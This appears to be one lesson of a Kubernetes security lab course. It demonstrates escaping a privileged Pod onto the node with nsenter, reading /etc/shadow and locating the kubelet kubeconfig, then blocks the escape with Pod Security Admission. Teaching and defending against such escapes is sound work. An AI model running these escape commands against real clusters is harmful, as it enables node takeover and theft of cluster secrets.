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Hands-on IT IT Drills

Day 5: Privileged, Capabilities and the Escape onto the Node

Goal: You break out of a privileged Pod onto the Node – and forbid such Pods via Admission. · Duration: approx. 75 min · Prerequisite: Day 4

Briefing

A container is just a process with namespaces and cgroups – no real boundary once you open it up. privileged: true, hostPID, hostNetwork or too many capabilities tear down exactly that boundary. With hostPID + privileged, a single command is enough to land in the context of the Node: nsenter into the init process. From then on you are root on the machine, no longer in the container.

Security: This is the core of a container escape. Only in your own lab.

Drill 1: The Misconfiguration – a Privileged Pod

Suppose the attacker may create Pods (Day 4) and Admission lets everything through. We work in a throwaway namespace escape:

kubectl create namespace escape

kubectl -n escape apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: breakout, namespace: escape}
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: c
    image: nicolaka/netshoot
    securityContext: {privileged: true}
    command: ["sleep","infinity"]
EOF
kubectl -n escape wait --for=condition=Ready pod/breakout --timeout=90s

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Drill 2: Exploit – nsenter onto the Node

hostPID shares the Node’s process list; privileged grants the necessary capabilities. nsenter -t 1 enters the namespaces of PID 1 – the host’s init process:

kubectl -n escape exec breakout -- nsenter -t 1 -m -u -i -n -p -- hostname
kubectl -n escape exec breakout -- nsenter -t 1 -m -u -i -n -p -- head -1 /etc/shadow

Expected:

rke2-agent1
root:*:20619:0:99999:7:::

The first command shows the name of the Node, not the Pod. The second reads /etc/shadow – a file that doesn’t even exist in the container. You are out of the Pod.

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Drill 3: The Loot – Node Credentials

Whoever is root on the Node takes the Node’s identity. The kubelet kubeconfig lives on the host and lets you act at the API as this Node:

kubectl -n escape exec breakout -- nsenter -t 1 -m -u -i -n -p -- \
  ls -l /var/lib/rancher/rke2/agent/kubelet.kubeconfig

Expected:

-rw------- 1 root root 464 Nov 17 14:59 /var/lib/rancher/rke2/agent/kubelet.kubeconfig

With this file (and the Node certificates next to it), the attacker speaks as system:node:rke2-agent1 – and gets at the Secrets of all Pods running on this Node. A privileged Pod is therefore as good as cluster-wide access.

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Drill 4: Fix – Pod Security Admission at “restricted”

Kubernetes ships the defense itself: Pod Security Admission (PSA) rejects Pods at creation time that violate the profile. restricted forbids privileged, host namespaces, additional capabilities and enforces runAsNonRoot. You arm it with a label on the namespace:

kubectl label namespace escape \
  pod-security.kubernetes.io/enforce=restricted --overwrite

Expected (a warning about already running Pods is normal):

Warning: existing pods in namespace "escape" violate the new PodSecurity enforce level
Warning: breakout: host namespaces, privileged, ...
namespace/escape labeled

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Drill 5: Proof – the Escape Pod Is Rejected

kubectl -n escape apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: breakout2, namespace: escape}
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: c
    image: nicolaka/netshoot
    securityContext: {privileged: true}
    command: ["sleep","infinity"]
EOF

Expected:

Error from server (Forbidden): error when creating "STDIN": pods "breakout2" is
forbidden: violates PodSecurity "restricted:latest": host namespaces (hostNetwork=true,
hostPID=true), privileged (container "c" must not set securityContext.privileged=true),
allowPrivilegeEscalation != false ..., runAsNonRoot != true ..., seccompProfile ...

The breakout Pod never even makes it into the cluster. And a clean Pod keeps running:

kubectl -n escape apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: good, namespace: escape}
spec:
  containers:
  - name: c
    image: nginxinc/nginx-unprivileged:stable
    securityContext:
      allowPrivilegeEscalation: false
      runAsNonRoot: true
      capabilities: {drop: ["ALL"]}
      seccompProfile: {type: RuntimeDefault}
EOF
kubectl -n escape wait --for=condition=Ready pod/good --timeout=60s

Expected:

pod/good condition met

Clean up:

kubectl delete namespace escape

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Checkpoint

A new namespace with restricted rejects privileged Pods:

kubectl create namespace psa-test
kubectl label namespace psa-test pod-security.kubernetes.io/enforce=restricted
kubectl -n psa-test run x --image=nicolaka/netshoot --privileged \
  --command -- sleep infinity 2>&1 | grep -o "violates PodSecurity.*privileged" | head -1
kubectl delete namespace psa-test

Expected (excerpt): violates PodSecurity ... privileged

Challenge

restricted is the strictest of three profiles. Set the middle profile baseline instead and find out: does it let the hostPID escape Pod through or not?

Hint: baseline forbids the “obviously dangerous” things but allows non-root niceties. Host namespaces and privileged are among the forbidden ones.

Solution

kubectl create namespace base-test
kubectl label namespace base-test pod-security.kubernetes.io/enforce=baseline
kubectl -n base-test run x --image=nicolaka/netshoot --privileged \
  --overrides='{"spec":{"hostPID":true}}' --command -- sleep infinity 2>&1 | tail -2
kubectl delete namespace base-test

Expected: baseline rejects it too (privileged, hostPID are already forbidden there). So baseline stops the escape; restricted goes beyond that and additionally enforces non-root and dropped capabilities.

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Enterprise Note

  • Set PSA cluster-wide as the default (AdmissionConfiguration with enforce: baseline or restricted as the default level), not just per namespace label.
  • warn/audit levels first, to collect violations, then enforce – otherwise existing workloads break.
  • PSA only covers the Pod spec. For finer rules (specific capabilities, AppArmor, allowed SA) add Kyverno (Day 12).
  • hostPID, hostNetwork, hostIPC, privileged, hostPath belong on a hard deny list; real exceptions (CNI, CSI, monitoring) run in their own, clearly named namespaces with their own profile.